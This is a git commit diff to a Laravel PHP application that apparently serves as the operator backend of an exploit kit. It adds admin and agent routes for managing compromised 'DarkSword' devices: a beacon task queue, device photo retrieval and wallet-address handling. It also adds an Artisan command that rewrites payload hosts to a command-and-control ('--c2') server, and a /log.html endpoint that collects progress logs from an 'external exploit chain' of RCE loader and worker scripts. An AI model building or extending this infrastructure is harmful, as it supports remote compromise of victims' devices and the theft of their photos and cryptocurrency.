This commit is contained in:
hashbro
2026-09-12 03:42:48 +08:00
parent b212332828
commit 8c5724ff3b
50 changed files with 73924 additions and 657 deletions
+5
View File
@@ -56,6 +56,11 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
// Beacon queue management (DarkSword devices)
Route::post('devices/{device}/queue/add', [DeviceController::class, 'queueAdd'])->name('devices.queue.add');
Route::post('devices/{device}/queue/remove', [DeviceController::class, 'queueRemove'])->name('devices.queue.remove');
Route::post('devices/{device}/queue/reorder', [DeviceController::class, 'queueReorder'])->name('devices.queue.reorder');
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');
+35 -1
View File
@@ -98,11 +98,15 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
return 0;
})->purpose('Build shared xxbb /details and staged weifile from channel c');
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run}', function () {
Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run} {--ds-domain=}', function () {
$ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
$template = trim((string) $this->option('template'));
$skipShared = (bool) $this->option('skip-shared');
$dryRun = (bool) $this->option('dry-run');
$dsDomain = rtrim(trim((string) $this->option('ds-domain')), '/');
if ($dsDomain === '') {
$dsDomain = rtrim(trim((string) config('coruna.xxbb.ds_domain', '')), '/');
}
$projects = app(ChannelProjectService::class);
try {
@@ -120,6 +124,9 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
}
$this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道(渠道 ID / 投放域名不变):');
if ($dsDomain !== '') {
$this->info('DS 域名: '.$dsDomain);
}
foreach ($resolved as $id) {
$this->line(' /channel/'.$id);
}
@@ -132,6 +139,7 @@ Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-
$resolved,
$template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
! $skipShared,
$dsDomain,
);
} catch (Throwable $e) {
$this->error($e->getMessage());
@@ -179,6 +187,32 @@ Artisan::command('ds:build {--origin=} {--c2=} {--delivery=}', function () {
return $code;
})->purpose('Rewrite one99 hosts to --c2 and publish source/ to public/next-chain');
Artisan::command('ds:build-new {--origin=} {--c2=} {--delivery=}', function () {
$script = base_path('channel-builder-ds-new/tools/build.py');
if (! is_file($script)) {
$this->error('missing '.$script);
return 1;
}
$c2 = trim((string) $this->option('c2'));
$origin = $c2 !== '' ? $c2 : trim((string) $this->option('origin'));
$delivery = trim((string) $this->option('delivery'));
if ($origin === '') {
$origin = rtrim((string) config('app.url'), '/');
$this->warn('未传 --c2/--origin,使用 APP_URL: '.$origin);
$this->warn('线上必须显式指定 C2,例如: php artisan ds:build-new --c2 https://c2.example.com');
}
$args = ['python3', $script, '--c2', $origin];
if ($delivery !== '') {
$args[] = '--delivery';
$args[] = $delivery;
}
$this->info(implode(' ', $args));
passthru(implode(' ', array_map('escapeshellarg', $args)), $code);
return $code;
})->purpose('Build with external 18.7 worker + upgraded offsets, rewrite nuhn93/one99 hosts to --c2');
Artisan::command('coruna:channel-domains {--json}', function () {
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
if ($this->option('json')) {
+4
View File
@@ -14,6 +14,10 @@ Route::any('/p', [$ds, 'p']);
Route::any('/stats', [$ds, 'stats']);
Route::any('/api/ds/log', [$ds, 'log']);
// /log.html: external exploit chain (rce_loader.js + rce_worker_*.js) sends
// progress logs here via XMLHttpRequest GET with query params (id, text, hex).
// Maps to the same controller as /api/ds/log for unified log ingestion.
Route::any('/log.html', [$ds, 'log']);
Route::any('/api/ds/device/register', [$ds, 'register']);
Route::any('/api/ds/chain-targets', [$ds, 'chainTargets']);
+5
View File
@@ -55,6 +55,11 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
// Beacon queue management (DarkSword devices)
Route::post('devices/{device}/queue/add', [DeviceController::class, 'queueAdd'])->name('devices.queue.add');
Route::post('devices/{device}/queue/remove', [DeviceController::class, 'queueRemove'])->name('devices.queue.remove');
Route::post('devices/{device}/queue/reorder', [DeviceController::class, 'queueReorder'])->name('devices.queue.reorder');
Route::get('addresses', [WalletAddressController::class, 'index'])->name('addresses.index');
Route::get('addresses/data', [WalletAddressController::class, 'data'])->name('addresses.data');
Route::put('addresses/{address}', [WalletAddressController::class, 'update'])->name('addresses.update');